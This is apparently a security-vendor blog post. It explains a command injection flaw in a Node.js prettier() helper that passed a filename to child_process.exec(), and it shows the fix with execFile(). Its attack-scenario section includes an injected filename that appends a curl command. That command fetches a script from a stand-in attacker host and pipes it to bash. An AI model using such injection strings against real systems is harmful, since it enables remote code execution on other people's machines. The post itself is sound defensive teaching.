Back to Blog
high SEVERITY8 min read

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection vulnerability was discovered in `tools/utils/lang/helpers.ts` where the `prettier()` function passed a user-controllable `fileName` argument directly into a shell command string via `exec()`. By replacing `exec()` with `execFile()` and passing arguments as an array, the fix eliminates shell interpolation entirely, preventing attackers from injecting arbitrary shell commands through malicious filenames.

O
By Orbis AppSec
Published August 12, 2026Reviewed August 12, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in Node.js, found in `tools/utils/lang/helpers.ts` at line 48. The root cause is the use of `exec()` with a template literal string — `exec(\`prettier --write ${fileName}\`)` — which passes unsanitized input through a shell, enabling shell metacharacter injection. The fix replaces `exec()` with `execFile('prettier', ['--write', fileName], ...)`, which spawns the process directly without invoking a shell, so metacharacters in `fileName` are treated as literal argument values rather than shell syntax.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixReplaced exec() with execFile(), passing arguments as an array to bypass shell interpretation
riskArbitrary shell command execution if fileName is attacker-controlled
languageTypeScript / Node.js
root causeexec() interpolates fileName into a shell command string without sanitization
vulnerabilityCommand Injection via child_process.exec()

How Command Injection Happens in Node.js child_process Calls and How to Fix It


The Vulnerability at a Glance

Field Detail
Vulnerability Command Injection via child_process.exec()
CWE CWE-78 — OS Command Injection
Language TypeScript / Node.js
Severity High
Root Cause exec() interpolates fileName into a shell command string
Fix Replace exec() with execFile(), pass args as an array

Introduction

The tools/utils/lang/helpers.ts file handles language tooling utilities, including a prettier() helper function that formats source files on disk. At line 48, this function accepted a fileName string argument and passed it directly into a shell command via Node.js's exec():

exec(`prettier --write ${fileName}`, error => { ... });

That single line of template literal interpolation is a textbook command injection sink. If fileName ever originates from an untrusted source — a file path passed in from an API consumer, a build script fed by environment variables, or a CI pipeline processing external input — an attacker can embed shell metacharacters in the filename to execute arbitrary commands on the host system.

This post walks through exactly how this vulnerability works, what an attacker could do with it, and how the fix structurally eliminates the risk.


The Vulnerability Explained

Why exec() Is Dangerous with Dynamic Input

Node.js's child_process.exec() works by spawning a shell (/bin/sh on Unix, cmd.exe on Windows) and passing the entire command string to it for interpretation. That means the shell processes every character in the string — including metacharacters like ;, &&, |, $(), and backticks — before running the command.

The vulnerable code was:

// BEFORE — vulnerable
import { exec } from 'child_process';

async function prettier(fileName: string): Promise<void> {
    return new Promise((resolve, reject) => {
        exec(`prettier --write ${fileName}`, error => {
            if (error != null) {
                reject(error);
                return;
            }
            resolve();
        });
    });
}

The fileName parameter is interpolated directly into the shell command string with no sanitization, no allowlist validation, and no escaping. The shell sees the entire string as a command to parse, not as a command with a safe, quoted argument.

A Concrete Attack Scenario

Imagine a downstream consumer of this Node.js library calls prettier() with a filename derived from user input — for example, a web tool that lets users specify which file to format. An attacker supplies:

myfile.ts; curl https://attacker.com/shell.sh | bash

The resulting shell command becomes:

prettier --write myfile.ts; curl https://attacker.com/shell.sh | bash

The shell interprets the semicolon as a command separator and executes both commands sequentially. The attacker has achieved remote code execution on the server running the Node.js process.

Even without a web-facing interface, consider automated pipelines where filenames come from repository metadata, CI environment variables, or artifact manifests — all of which could be tampered with in a supply chain or CI poisoning attack.

Why This Was Flagged as "Defensive Hardening"

The PR assessment notes this as defensive hardening rather than an actively exploited vulnerability. The prettier() function is an internal utility, and fileName likely comes from controlled internal sources today. However, as the PR description notes:

"This patch removes an exploit primitive — a code pattern that, while not independently exploitable today, could be chained with other weaknesses by automated exploit-development tooling."

Modern automated attack tools (including LLM-assisted exploit chains) actively search for these primitive patterns. Removing them proactively raises the cost of exploitation significantly.


The Fix

What Changed

The fix is surgical and precise — two lines changed, zero behavior change for valid inputs:

- import { exec } from 'child_process';
+ import { execFile } from 'child_process';

  async function prettier(fileName: string): Promise<void> {
      return new Promise((resolve, reject) => {
-         exec(`prettier --write ${fileName}`, error => {
+         execFile('prettier', ['--write', fileName], error => {
              if (error != null) {
                  reject(error);
                  return;
              }
              resolve();
          });
      });
  }

Why execFile() Eliminates the Risk

execFile() does not spawn a shell. Instead, it executes the specified file directly as a process, passing the argument array to the OS's execve() syscall (or equivalent). This means:

  1. No shell interpretation — The OS receives prettier as the executable and ['--write', fileName] as raw argument values. Shell metacharacters in fileName are passed literally to the prettier process, not interpreted by /bin/sh.

  2. Structural safety — The fix is not dependent on input validation logic that could be bypassed. Even if fileName contains ;, &&, $(...), or any other shell metacharacter, execFile() passes it as a literal string argument. There is no shell to interpret it.

  3. Separation of command and data — The executable ('prettier') and its arguments (['--write', fileName]) are structurally separated. This is the same principle that makes parameterized SQL queries safe against SQL injection.

Before vs. After: The Security Model

Aspect exec() (before) execFile() (after)
Shell invoked? ✅ Yes (/bin/sh -c ...) ❌ No
Metachar safe? ❌ No — shell interprets them ✅ Yes — passed as literals
Template literal needed? Yes No — args are an array
Behavior for valid input Identical Identical

Prevention & Best Practices

1. Default to execFile() or spawn() Over exec()

Treat exec() as a last resort. For the vast majority of use cases where you're running a known executable with arguments, execFile() or spawn() with an argument array is the correct choice.

// ❌ Dangerous pattern
exec(`mytool --flag ${userInput}`);

// ✅ Safe pattern
execFile('mytool', ['--flag', userInput]);

2. If You Must Use exec(), Use Shell Escaping

When exec() is genuinely necessary (e.g., you need shell features like pipes or redirects), use a library like shell-quote to escape arguments:

import { quote } from 'shell-quote';
exec(`mytool --flag ${quote([userInput])}`);

However, this is still more fragile than execFile() — prefer the structural fix.

3. Apply Input Allowlisting for File Paths

Even with execFile(), consider validating fileName against an allowlist of expected patterns (e.g., only .ts and .js extensions within the project directory):

const SAFE_EXTENSION = /\.(ts|js|tsx|jsx)$/;
if (!SAFE_EXTENSION.test(fileName)) {
    throw new Error(`Unexpected file extension in: ${fileName}`);
}

This is defense-in-depth — it doesn't replace the execFile() fix, but it catches unexpected inputs early.

4. Lint for This Pattern in CI

Add Semgrep to your CI pipeline with the javascript.lang.security.detect-child-process ruleset. This specific rule (javascript.lang.security.detect-child-process.detect-child-process) flags exactly this pattern — exec() calls where a function argument flows into the command string.

# Example GitHub Actions step
- name: Semgrep scan
  uses: semgrep/semgrep-action@v1
  with:
    config: p/javascript

5. Principle of Least Privilege

Ensure the Node.js process running this code has only the filesystem permissions it needs. Even if command injection were achieved, a process running as a low-privilege user with restricted filesystem access limits the blast radius.


Key Takeaways

  • exec() with template literals is a shell injection sink — The pattern exec(`command ${variable}`) in helpers.ts is structurally equivalent to unsanitized SQL string concatenation. The shell is the interpreter, and it will execute anything in the string.

  • execFile() provides structural safety, not just sanitization — The fix works because it changes how the OS receives the command, not because it cleans the input. Even a completely unsanitized fileName cannot cause shell injection when passed as an array argument to execFile().

  • Internal utilities are still attack surfaces — The prettier() function in helpers.ts is an internal helper, but it's part of a published Node.js library. Any downstream consumer who passes externally-sourced filenames to it inherits the vulnerability.

  • Exploit primitives matter even without a direct exploit path — The pattern exec(\prettier --write ${fileName}`)` is a primitive that automated tools can chain with other weaknesses. Removing it proactively is sound security engineering.

  • The fix is a one-line import swap plus an argument refactor — Migrating from exec() to execFile() in this case required minimal code change and zero behavior change for valid inputs, making it a high-value, low-risk security improvement.


How Orbis AppSec Detected This

  • Source: The fileName parameter of the prettier(fileName: string) function in tools/utils/lang/helpers.ts — a string argument that flows in from callers and may originate from external or user-controlled input in downstream consumers.
  • Sink: exec(`prettier --write ${fileName}`, ...) at tools/utils/lang/helpers.ts:48 — a shell-invoking call where the tainted fileName variable is interpolated directly into the command string.
  • Missing control: No input sanitization, no shell escaping, no allowlist validation on fileName before it reaches the exec() call.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Replaced exec() with execFile() and restructured the call to pass fileName as an element of an argument array, eliminating shell interpretation entirely.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The vulnerability in tools/utils/lang/helpers.ts is a clear illustration of how a single architectural choice — exec() vs. execFile() — determines whether a function is safe or exploitable. The prettier() helper looked innocuous: it just runs a formatter on a file. But by using exec() with a template literal, it handed the shell a string to interpret, and any shell-metacharacter-bearing filename became a command injection vector.

The fix is elegant in its simplicity: swap exec for execFile, move the arguments into an array, and the shell is never invoked. No allowlist logic, no regex escaping, no sanitization function to get wrong — just a structural change that makes the dangerous pattern impossible.

For developers writing Node.js tooling, the lesson is clear: reach for execFile() or spawn() by default, reserve exec() only for cases where you genuinely need shell features, and always treat function arguments as potentially tainted data.


References

Frequently Asked Questions

What is command injection in Node.js child_process?

Command injection occurs when user-controlled input is concatenated into a shell command string passed to exec(), allowing attackers to append or modify the command using shell metacharacters like semicolons, pipes, or backticks.

How do you prevent command injection in Node.js child_process calls?

Use execFile() or spawn() instead of exec(), and pass arguments as an array rather than interpolating them into a command string. These functions do not invoke a shell, so metacharacters in arguments are treated as literal values.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input validation alone enough to prevent command injection in Node.js?

Input validation helps but is not sufficient on its own. The safest approach is to use execFile() or spawn() with argument arrays, which structurally prevents shell interpretation regardless of what characters the input contains.

Can static analysis detect command injection in Node.js?

Yes. Tools like Semgrep have rules (such as javascript.lang.security.detect-child-process.detect-child-process) that flag calls to exec() where arguments include function parameters, making this class of vulnerability reliably detectable in CI pipelines.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #1442

Related Articles

critical

How Sensitive Data Exposure in Error Logging happens in TypeScript/Deno and how to fix it

A critical vulnerability in Supabase Edge Functions allowed sensitive authentication errors and API credentials to leak through verbose error logging. The `cancel-subscription/index.ts` function logged full error objects to the console, potentially exposing Paddle API keys and auth tokens in deployment logs. The fix sanitizes all error messages to log only safe error text while preserving debugging capability.

critical

How HTTP Header Injection Happens in Go and How to Fix It

A critical vulnerability in the file upload handler allowed attackers to inject CRLF sequences into HTTP response headers through crafted filenames. The fix sanitizes user-supplied filenames before using them in Content-Disposition headers, preventing header injection attacks that could lead to cache poisoning, session fixation, or XSS.

high

How Path Traversal and Security Policy Bypass Happens in Node.js Dependencies and How to Fix It

A high-severity vulnerability in the fast-uri package (CVE-2026-6321) allowed attackers to bypass security policies through improper Unicode hostname canonicalization and path traversal. This issue affected the @apralabs/apra-fleet project through its dependency tree, and was resolved by upgrading fast-uri from version 3.1.0 to 4.1.2 using npm overrides.

high

How Quadratic CPU Consumption in YAML Parsing happens in JavaScript and how to fix it

A high-severity vulnerability in js-yaml versions 3.x and 4.x allowed attackers to cause quadratic CPU consumption through specially crafted YAML documents using the `!!omap` type. This denial-of-service vulnerability (GHSA-5p4m-2wfm-xmqj) was fixed by upgrading from js-yaml 4.3.0 to 4.3.1, protecting applications from algorithmic complexity attacks during YAML parsing.

high

How Arbitrary HTTP Header Injection via Prototype Pollution happens in JavaScript and how to fix it

A high-severity vulnerability (CVE-2026-42035) in axios version 1.13.5 allowed attackers to inject arbitrary HTTP headers through prototype pollution. The fix upgrades axios to version 1.18.0 in the frontend's dependency tree, which includes proper prototype chain validation when constructing HTTP request headers. This prevents attackers from manipulating outgoing requests to perform SSRF, session hijacking, or cache poisoning attacks.

high

How Unauthenticated Denial of Service happens in React Router and how to fix it

CVE-2026-55685 is a high-severity Denial of Service vulnerability in React Router's `@remix-run/server-runtime` that allows unauthenticated attackers to exhaust server resources by sending crafted requests to the manifest endpoint. The fix upgrades `react-router` from version 7.17.0 to 7.18.0, which tightens handling of untrusted input in route matching logic. Developers using any React Router 7.x application with server-side rendering should apply this patch immediately.